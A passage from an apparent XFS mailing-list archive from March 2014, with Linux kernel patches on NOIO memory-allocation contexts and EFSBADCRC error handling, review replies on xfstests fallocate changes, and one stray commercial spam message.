16:39:56 +1100 Received: from dave by disappointment with local (Exim 4.82) (envelope-from ) id 1WKLbY-00085w-Ke for xfs@oss.sgi.com; Mon, 03 Mar 2014 16:39:56 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 2/2] xfs: use NOIO contexts for vm_map_ram Date: Mon, 3 Mar 2014 16:39:54 +1100 X-ASG-Orig-Subj: [PATCH 2/2] xfs: use NOIO contexts for vm_map_ram Message-Id: <1393825194-1719-3-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.9.0 In-Reply-To: <1393825194-1719-1-git-send-email-david@fromorbit.com> References: <1393825194-1719-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1393825205 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145685 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner When we map pages in the buffer cache, we can do so in GFP_NOFS contexts. However, the vmap interfaces do not provide any method of communicating this information to memory reclaim, and hence we get lockdep complaining about it regularly and occassionally see hangs that may be vmap related reclaim deadlocks. We can also see these same problems from anywhere where we use vmalloc for a large buffer (e.g. attribute code) inside a transaction context. A typical lockdep report shows up as a reclaim state warning like so: [14046.101458] ================================= [14046.102850] [ INFO: inconsistent lock state ] [14046.102850] 3.14.0-rc4+ #2 Not tainted [14046.102850] --------------------------------- [14046.102850] inconsistent {RECLAIM_FS-ON-W} -> {IN-RECLAIM_FS-W} usage. [14046.102850] kswapd0/14 [HC0[0]:SC0[0]:HE1:SE1] takes: [14046.102850] (&xfs_dir_ilock_class){++++?+}, at: [<791a04bb>] xfs_ilock+0xff/0x16a [14046.102850] {RECLAIM_FS-ON-W} state was registered at: [14046.102850] [<7904cdb1>] mark_held_locks+0x81/0xe7 [14046.102850] [<7904d390>] lockdep_trace_alloc+0x5c/0xb4 [14046.102850] [<790c2c28>] kmem_cache_alloc_trace+0x2b/0x11e [14046.102850] [<790ba7f4>] vm_map_ram+0x119/0x3e6 [14046.102850] [<7914e124>] _xfs_buf_map_pages+0x5b/0xcf [14046.102850] [<7914ed74>] xfs_buf_get_map+0x67/0x13f [14046.102850] [<7917506f>] xfs_attr_rmtval_set+0x396/0x4d5 [14046.102850] [<7916e8bb>] xfs_attr_leaf_addname+0x18f/0x37d [14046.102850] [<7916ed9e>] xfs_attr_set_int+0x2f5/0x3e8 [14046.102850] [<7916eefc>] xfs_attr_set+0x6b/0x74 [14046.102850] [<79168355>] xfs_xattr_set+0x61/0x81 [14046.102850] [<790e5b10>] generic_setxattr+0x59/0x68 [14046.102850] [<790e4c06>] __vfs_setxattr_noperm+0x58/0xce [14046.102850] [<790e4d0a>] vfs_setxattr+0x8e/0x92 [14046.102850] [<790e4ddd>] setxattr+0xcf/0x159 [14046.102850] [<790e5423>] SyS_lsetxattr+0x88/0xbb [14046.102850] [<79268438>] sysenter_do_call+0x12/0x36 Now, we can't completely remove these traces - mainly because vm_map_ram() will do GFP_KERNEL allocation and that generates the above warning before we get into the reclaim code, but we can turn them all into false positive warnings. To do that, use the method that DM and other IO context code uses to avoid this problem: there is a process flag to tell memory reclaim not to do IO that we can set appropriately. That prevents GFP_KERNEL context reclaim being done from deep inside the vmalloc code in places we can't directly pass a GFP_NOFS context to. That interface has a pair of wrapper functions: memalloc_noio_save() and memalloc_noio_restore(). Adding them around vm_map_ram and the vzalloc call in kmem_alloc_large() will prevent deadlocks and most lockdep reports for this issue. Also, convert the vzalloc() call in kmem_alloc_large() to use __vmalloc() so that we can pass the correct gfp context to the data page allocation routine inside __vmalloc() so that it is clear that GFP_NOFS context is important to this vmalloc call. Signed-off-by: Dave Chinner --- fs/xfs/kmem.c | 21 ++++++++++++++++++++- fs/xfs/xfs_buf.c | 11 +++++++++++ 2 files changed, 31 insertions(+), 1 deletion(-) diff --git a/fs/xfs/kmem.c b/fs/xfs/kmem.c index 66a36be..844e288 100644 --- a/fs/xfs/kmem.c +++ b/fs/xfs/kmem.c @@ -65,12 +65,31 @@ kmem_alloc(size_t size, xfs_km_flags_t flags) void * kmem_zalloc_large(size_t size, xfs_km_flags_t flags) { + unsigned noio_flag = 0; void *ptr; + gfp_t lflags; ptr = kmem_zalloc(size, flags | KM_MAYFAIL); if (ptr) return ptr; - return vzalloc(size); + + /* + * __vmalloc() will allocate data pages and auxillary structures (e.g. + * pagetables) with GFP_KERNEL, yet we may be under GFP_NOFS context + * here. Hence we need to tell memory reclaim that we are in such a + * context via PF_MEMALLOC_NOIO to prevent memory reclaim re-entering + * the filesystem here and potentially deadlocking. + */ + if ((current->flags & PF_FSTRANS) || (flags & KM_NOFS)) + noio_flag = memalloc_noio_save(); + + lflags = kmem_flags_convert(flags); + ptr = __vmalloc(size, lflags | __GFP_HIGHMEM | __GFP_ZERO, PAGE_KERNEL); + + if ((current->flags & PF_FSTRANS) || (flags & KM_NOFS)) + memalloc_noio_restore(noio_flag); + + return ptr; } void diff --git a/fs/xfs/xfs_buf.c b/fs/xfs/xfs_buf.c index 9c061ef..107f2fd 100644 --- a/fs/xfs/xfs_buf.c +++ b/fs/xfs/xfs_buf.c @@ -396,7 +396,17 @@ _xfs_buf_map_pages( bp->b_addr = NULL; } else { int retried = 0; + unsigned noio_flag; + /* + * vm_map_ram() will allocate auxillary structures (e.g. + * pagetables) with GFP_KERNEL, yet we are likely to be under + * GFP_NOFS context here. Hence we need to tell memory reclaim + * that we are in such a context via PF_MEMALLOC_NOIO to prevent + * memory reclaim re-entering the filesystem here and + * potentially deadlocking. + */ + noio_flag = memalloc_noio_save(); do { bp->b_addr = vm_map_ram(bp->b_pages, bp->b_page_count, -1, PAGE_KERNEL); @@ -404,6 +414,7 @@ _xfs_buf_map_pages( break; vm_unmap_aliases(); } while (retried++ <= 1); + memalloc_noio_restore(noio_flag); if (!bp->b_addr) return -ENOMEM; -- 1.9.0 From lczerner@redhat.com Mon Mar 3 06:16:30 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 568AA7F4E for ; Mon, 3 Mar 2014 06:16:30 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 39635304032 for ; Mon, 3 Mar 2014 04:16:27 -0800 (PST) X-ASG-Debug-ID: 1393848985-04cbb066e71ce550001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id o695WONjz6bsJyi8 for ; Mon, 03 Mar 2014 04:16:26 -0800 (PST) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s23CGOCq023465 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 3 Mar 2014 07:16:24 -0500 Received: from dhcp-1-138.brq.redhat.com (dhcp-1-138.brq.redhat.com [10.34.1.138]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s23CGKxj028029 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 3 Mar 2014 07:16:23 -0500 Date: Mon, 3 Mar 2014 13:16:20 +0100 (CET) From: =?ISO-8859-15?Q?Luk=E1=A8_Czerner?= X-X-Sender: lczerner@localhost.localdomain To: Eric Sandeen cc: linux-ext4@vger.kernel.org, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH 5/8] xfstests: Add fallocate zero range operation to fsstress In-Reply-To: <5310C9F8.20009@sandeen.net> X-ASG-Orig-Subj: Re: [PATCH 5/8] xfstests: Add fallocate zero range operation to fsstress Message-ID: References: <1393603865-26198-1-git-send-email-lczerner@redhat.com> <1393603865-26198-5-git-send-email-lczerner@redhat.com> <5310C9F8.20009@sandeen.net> User-Agent: Alpine 2.00 (LFD 1167 2008-08-23) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1393848986 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Fri, 28 Feb 2014, Eric Sandeen wrote: > Date: Fri, 28 Feb 2014 11:40:08 -0600 > From: Eric Sandeen > To: Lukas Czerner , linux-ext4@vger.kernel.org > Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com > Subject: Re: [PATCH 5/8] xfstests: Add fallocate zero range operation to > fsstress > > On 2/28/14, 10:11 AM, Lukas Czerner wrote: > > This commit adds fzero operation support for fsstress, which is meant to > > exercise fallocate FALLOC_FL_ZERO_RANGE support. > > > > Also reorganise the common fallocate code into a single do_fallocate() > > function and use flags use the right mode. > > > > Also in order to make more obvious which fallocate mode fsstress is > > testing translate fallocate flags into human readable strings. > > Can you enhance that so that if it's passed a flag which isn't > in the known array, it prints the leftover values? Otherwise > they are silently dropped, which might be confusing. > > Handling the case where a flag is not in the array would future-proof > it, I think. > > -Eric Yes, I can do that. The only reason I've left this out was to force people to actually update it when they update the test with new flag. Thanks! -Lukas From lczerner@redhat.com Mon Mar 3 06:21:10 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id BA9CD7F4E for ; Mon, 3 Mar 2014 06:21:10 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 808DB8F8033 for ; Mon, 3 Mar 2014 04:21:10 -0800 (PST) X-ASG-Debug-ID: 1393849269-04bdf05da91e7010001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id cAQjq2OfUfPWIH3A for ; Mon, 03 Mar 2014 04:21:09 -0800 (PST) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx12.intmail.prod.int.phx2.redhat.com (int-mx12.intmail.prod.int.phx2.redhat.com [10.5.11.25]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s23CL6Af011242 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 3 Mar 2014 07:21:07 -0500 Received: from dhcp-1-138.brq.redhat.com (dhcp-1-138.brq.redhat.com [10.34.1.138]) by int-mx12.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s23CL30f016745 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 3 Mar 2014 07:21:05 -0500 Date: Mon, 3 Mar 2014 13:21:03 +0100 (CET) From: =?ISO-8859-15?Q?Luk=E1=A8_Czerner?= X-X-Sender: lczerner@localhost.localdomain To: Andreas Dilger cc: linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-fsdevel@vger.kernel.org Subject: Re: [PATCH 7/8] xfstests: Add fallocate zero range operation to fsx In-Reply-To: X-ASG-Orig-Subj: Re: [PATCH 7/8] xfstests: Add fallocate zero range operation to fsx Message-ID: References: <1393603865-26198-1-git-send-email-lczerner@redhat.com> <1393603865-26198-7-git-send-email-lczerner@redhat.com> User-Agent: Alpine 2.00 (LFD 1167 2008-08-23) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Scanned-By: MIMEDefang 2.68 on 10.5.11.25 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1393849269 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Fri, 28 Feb 2014, Andreas Dilger wrote: > Date: Fri, 28 Feb 2014 12:08:47 -0700 > From: Andreas Dilger > To: Lukas Czerner > Cc: linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-fsdevel@vger.kernel.org > Subject: Re: [PATCH 7/8] xfstests: Add fallocate zero range operation to fsx > > On Feb 28, 2014, at 9:11 AM, Lukas Czerner wrote: > > This commit adds fallocate FALLOC_FL_ZERO_RANGE support for fsx. > > It looks like this patch breaks the option handling for these > fallocate features. > > > int fallocate_calls = 1; /* -F flag disables */ > > int punch_hole_calls = 1; /* -H flag disables */ > > +int zero_range_calls = 1; /* -z flag disables */ > > So these fallocate tests are on by default... > > > +int > > +test_fallocate(int mode) > > { > > #ifdef HAVE_LINUX_FALLOC_H > > + int ret = 0; > > if (!lite && fallocate_calls) { ^^^^^^^^^^^^^^^ Right, I forgot about this. > > + if (fallocate(fd, mode, 0, 1) && errno == EOPNOTSUPP) { > > if(!quiet) > > warn("main: filesystem does not support fallocate, disabling\n"); > > } else { > > + ret = 1; > > ftruncate(fd, 0); > > } > > } > > #endif > > } > > And this returns 1 or 0 depending if they are supported or not... > > > + while ((ch = getopt(argc, argv, "b:c:dfl:m:no:p:qr:s:t:w:xyAD:FHzLN:OP:RS:WZ")) > > != EOF) > > switch (ch) { > > case 'H': > > punch_hole_calls = 0; > > break; > > + case 'z': > > + zero_range_calls = 0; > > + break; > > And the option parsing sets the values to zero if they are disabled, > so far, so good... > > > + fallocate_calls = test_fallocate(0); > > + punch_hole_calls = test_fallocate(FALLOC_FL_PUNCH_HOLE | FALLOC_FL_KEEP_SIZE); > > + zero_range_calls = test_fallocate(FALLOC_FL_ZERO_RANGE); > > But here, the values set by option parsing are clobbered and the > tests are only enabled or disabled depending on whether the kernel > supports that feature or not. I think you need something like: Right, and the 'fallocate_calls' test needs to disappear from test_fallocate(). Thanks! -Lukas > > if (fallocate_calls) > fallocate_calls = test_fallocate(0); > if (punch_hole_calls) > punch_hole_calls = test_fallocate(FALLOC_FL_PUNCH_HOLE | > FALLOC_FL_KEEP_SIZE); > if (zero_range_calls) > zero_range_calls = test_fallocate(FALLOC_FL_ZERO_RANGE); > > Cheers, Andreas > > > > > > From mould26@topeasy23.eicp.net Mon Mar 3 06:40:18 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: **** X-Spam-Status: No, score=4.2 required=5.0 tests=DEAR_SOMETHING,HTML_MESSAGE, MIME_HTML_ONLY autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 083AA7F4E for ; Mon, 3 Mar 2014 06:40:18 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id DDDB18F8039 for ; Mon, 3 Mar 2014 04:40:17 -0800 (PST) X-ASG-Debug-ID: 1393850410-04cb6c56751cd7c0001-NocioJ Received: from topeasy23.eicp.net ([182.96.174.4]) by cuda.sgi.com with SMTP id pxnSiqDMvyhiVCrt for ; Mon, 03 Mar 2014 04:40:12 -0800 (PST) X-Barracuda-Envelope-From: mould26@topeasy23.eicp.net X-Barracuda-Apparent-Source-IP: 182.96.174.4 Received: from 6PHZXEVNS4DKT4N[127.0.0.1] by 6PHZXEVNS4DKT4N[127.0.0.1] (SMTPD32); Mon, 3 Mar 2014 20:18:07 +0800 From: "mould26@topeasy23.eicp.net" Subject: Re: Smart mini massager from China factory cut down your cost To: "xfs" X-ASG-Orig-Subj: Re: Smart mini massager from China factory cut down your cost MIME-Version: 1.0 Sender: mould26@topeasy23.eicp.net Reply-To: sangmaisi3@163.com Date: Mon, 3 Mar 2014 20:18:07 +0800 Content-Type: text/html; charset="UTF-8" Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Barracuda-Connect: UNKNOWN[182.96.174.4] X-Barracuda-Start-Time: 1393850410 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.24 X-Barracuda-Spam-Status: No, SCORE=0.24 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE, MIME_HTML_ONLY, MISSING_MID, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145694 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.14 MISSING_MID Missing Message-Id: header 0.00 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 0.00 HTML_MESSAGE BODY: HTML included in message 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS Message-Id: <20140303124017.331571296184@cuda.sgi.com>

Dear Sir or Madam:

How are you today?

We are a professional supplier of Electronic massage products. We have almost 10 years experience in this area. You can also check our  for more detail information.

I wonder does your esteemed company still need any massager products? You see we are a professional manufacturer of massager products in China. Product series including facial massager, body massagers, slimming massage belt, foot massagers and so on.

As a direct factory and a pure export enterprise of massager products, we have the advantage of low price and good quality assurance. First, we combined design, develop and manufacture as a whole, we can offer you the most competitive prices.
Second, our products all had passed by the Medical CE, FDA,CMDCAS and ISO13485 certificate etc. I hope these advantages will help your marketing in future.

Thank you very much and looking forward your reply.

Best Regards,

Sunmas (H.K) Trading Limited

EMAIL TO US NOW!

From sandeen@sandeen.net Mon Mar 3 11:34:41 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id A02277F4E for ; Mon, 3 Mar 2014 11:34:41 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 887C0304032 for ; Mon, 3 Mar 2014 09:34:41 -0800 (PST) X-ASG-Debug-ID: 1393868076-04cb6c56771e4f80001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id tkkKWnl9PlN37cNP for ; Mon, 03 Mar 2014 09:34:36 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 54B8263C59A5; Mon, 3 Mar 2014 11:34:36 -0600 (CST) Message-ID: <5314BD2B.1010904@sandeen.net> Date: Mon, 03 Mar 2014 11:34:35 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Dave Chinner , xfs@oss.sgi.com Subject: Re: [PATCH 1/2] xfs: don't leak EFSBADCRC to userspace References: <1393825194-1719-1-git-send-email-david@fromorbit.com> <1393825194-1719-2-git-send-email-david@fromorbit.com> X-ASG-Orig-Subj: Re: [PATCH 1/2] xfs: don't leak EFSBADCRC to userspace In-Reply-To: <1393825194-1719-2-git-send-email-david@fromorbit.com> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1393868076 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145701 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 3/2/14, 11:39 PM, Dave Chinner wrote: > From: Dave Chinner > > While the verifier reoutines may return EFSBADCRC when a buffer ahs > a bad CRC, we need to translate that to EFSCORRUPTED so that the > higher layers treat the error appropriately and so we return a > consistent error to userspace. This fixes a xfs/005 regression. Can you say a little more about the philosophy here? xfs/005 regresses because it expects "structure needs cleaning" So if we instead return our (icky) CRC error code, we get something else. But it is truly a different root cause. So the goal is to NEVER leak EFSBADCRC to userspace? Maybe a comment above that error definition would help document that. And I'm bit worried that we'll leak more in the future if things changed, or if things got missed here. Everything you have here looks fine, but it's not obvious that every path has been caught; it seems a bit random. I know we _just_ merged my "differentiator" patches, but I wonder if it would be better to add XFS_BSTATE_BADCRC to b_state or some other field, and go back to always assigning EFSCORRUPTED. What do you think? When I wrote those I wasn't thinking about keeping it all internal to the filesystem. -Eric > Signed-off-by: Dave Chinner > --- > fs/xfs/xfs_mount.c | 3 +++ > fs/xfs/xfs_symlink.c | 4 ++++ > fs/xfs/xfs_trans_buf.c | 11 +++++++++++ > 3 files changed, 18 insertions(+) > > diff --git a/fs/xfs/xfs_mount.c b/fs/xfs/xfs_mount.c > index f96c056..993cb19 100644 > --- a/fs/xfs/xfs_mount.c > +++ b/fs/xfs/xfs_mount.c > @@ -314,6 +314,9 @@ reread: > error = bp->b_error; > if (loud) > xfs_warn(mp, "SB validate failed with error %d.", error); > + /* bad CRC means corrupted metadata */ > + if (error == EFSBADCRC) > + error = EFSCORRUPTED; > goto release_buf; > } > > diff --git a/fs/xfs/xfs_symlink.c b/fs/xfs/xfs_symlink.c > index 14e58f2..5fda189 100644 > --- a/fs/xfs/xfs_symlink.c > +++ b/fs/xfs/xfs_symlink.c > @@ -80,6 +80,10 @@ xfs_readlink_bmap( > if (error) { > xfs_buf_ioerror_alert(bp, __func__); > xfs_buf_relse(bp); > + > + /* bad CRC means corrupted metadata */ > + if (error == EFSBADCRC) > + error = EFSCORRUPTED; > goto out; > } > byte_cnt = XFS_SYMLINK_BUF_SPACE(mp, byte_cnt); > diff --git a/fs/xfs/xfs_trans_buf.c b/fs/xfs/xfs_trans_buf.c > index 647b6f1..b8eef05 100644 > --- a/fs/xfs/xfs_trans_buf.c > +++ b/fs/xfs/xfs_trans_buf.c > @@ -275,6 +275,10 @@ xfs_trans_read_buf_map( > XFS_BUF_UNDONE(bp); > xfs_buf_stale(bp); > xfs_buf_relse(bp); > + > + /* bad CRC means corrupted metadata */ > + if (error == EFSBADCRC) > + error = EFSCORRUPTED; > return error; > } > #ifdef DEBUG > @@ -338,6 +342,9 @@ xfs_trans_read_buf_map( > if (tp->t_flags & XFS_TRANS_DIRTY) > xfs_force_shutdown(tp->t_mountp, > SHUTDOWN_META_IO_ERROR); > + /* bad CRC means corrupted metadata */ > + if (error == EFSBADCRC) > + error = EFSCORRUPTED; > return error; > } > } > @@ -375,6 +382,10 @@ xfs_trans_read_buf_map( > if (tp->t_flags & XFS_TRANS_DIRTY) > xfs_force_shutdown(tp->t_mountp, SHUTDOWN_META_IO_ERROR); > xfs_buf_relse(bp); > + > + /* bad CRC means corrupted metadata */ > + if (error == EFSBADCRC) > + error = EFSCORRUPTED; > return error; > } > #ifdef DEBUG > From bfoster@redhat.com Mon Mar 3 11:44:34 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 3F8137F51 for ; Mon, 3 Mar 2014 11:44:34 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id B17E8AC005 for ; Mon, 3 Mar 2014 09:44:33 -0800 (PST) X-ASG-Debug-ID: 1393868672-04cb6c56751e5910001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id kbZRuJC6HG7uRdAx for ; Mon, 03 Mar 2014 09:44:32 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx02.intmail.prod.int.phx2.redhat.com (int-mx02.intmail.prod.int.phx2.redhat.com [10.5.11.12]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s23HiTPY026020 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 3 Mar 2014 12:44:29 -0500 Received: from laptop.bfoster (vpn-50-144.rdu2.redhat.com [10.10.50.144]) by int-mx02.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s23HiTJW009272; Mon, 3 Mar 2014 12:44:29 -0500 Received: from laptop.bfoster (localhost.localdomain [127.0.0.1]) by laptop.bfoster (Postfix) with ESMTP id F20CB1210DA; Mon, 3 Mar 2014 12:44:28 -0500 (EST) Received: (from bfoster@localhost) by laptop.bfoster (8.14.7/8.14.7/Submit) id s23HiRsR029339; Mon, 3 Mar 2014 12:44:27 -0500 X-Authentication-Warning: laptop.bfoster: bfoster set sender to bfoster@redhat.com using -f Date: Mon, 3 Mar 2014 12:44:26 -0500 From: Brian Foster To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 1/2] xfs: don't leak EFSBADCRC to userspace Message-ID: <20140303174425.GB28196@laptop.bfoster> X-ASG-Orig-Subj: Re: [PATCH 1/2] xfs: don't leak EFSBADCRC to userspace References: <1393825194-1719-1-git-send-email-david@fromorbit.com> <1393825194-1719-2-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1393825194-1719-2-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Scanned-By: MIMEDefang 2.67 on 10.5.11.12 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1393868672 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Mon, Mar 03, 2014 at 04:39:53PM +1100, Dave Chinner wrote: > From: Dave Chinner > > While the verifier reoutines may return EFSBADCRC when a buffer ahs > a bad CRC, we need to translate that to EFSCORRUPTED so that the > higher layers treat the error appropriately and so we return a > consistent error to userspace. This fixes a xfs/005 regression. > > Signed-off-by: Dave Chinner > --- This change looks Ok to me, but when I start looking through the users of bp->b_error, I see examples like xfs_dir3_data_read() being called in xfs_dir2_leaf_addname() where it looks like an error could bubble all the way up to xfs_vn_mknod() and its callers. If the intent is to use EFSBADCRC as an internal-only error to differentiate corruption from crc failure, why not push this more closely to the boundaries that we have already defined? For example, we already convert positive errnos to negative at the internal/external boundaries. Could we convert those to use some kind of XFS_USERSPACE_ERROR(error) macro/helper that converts errors appropriately? Another thought could be to reconsider whether we still need some of these extra warnings, as in the xfs_mount.c hunk below, now that we have the generic xfs_verifier_error() messaging. E.g., if we could remove those, perhaps we could snub out EFSBADCRC in or around the verifier after it makes a distinction. Brian > fs/xfs/xfs_mount.c | 3 +++ > fs/xfs/xfs_symlink.c | 4 ++++ > fs/xfs/xfs_trans_buf.c | 11 +++++++++++ > 3 files changed, 18 insertions(+) > > diff --git a/fs/xfs/xfs_mount.c b/fs/xfs/xfs_mount.c > index f96c056..993cb19 100644 > --- a/fs/xfs/xfs_mount.c > +++ b/fs/xfs/xfs_mount.c > @@ -314,6 +314,9 @@ reread: > error = bp->b_error; > if (loud) > xfs_warn(mp, "SB validate failed with error %d.", error); > + /* bad CRC means corrupted metadata */ > + if (error == EFSBADCRC) > + error = EFSCORRUPTED; > goto release_buf; > } > > diff --git a/fs/xfs/xfs_symlink.c b/fs/xfs/xfs_symlink.c > index 14e58f2..5fda189 100644 > --- a/fs/xfs/xfs_symlink.c > +++ b/fs/xfs/xfs_symlink.c > @@ -80,6 +80,10 @@ xfs_readlink_bmap( > if (error) { > xfs_buf_ioerror_alert(bp, __func__); > xfs_buf_relse(bp); > + > + /* bad CRC means corrupted metadata */ > + if (error == EFSBADCRC) > + error = EFSCORRUPTED; > goto out; > } > byte_cnt = XFS_SYMLINK_BUF_SPACE(mp, byte_cnt); > diff --git a/fs/xfs/xfs_trans_buf.c 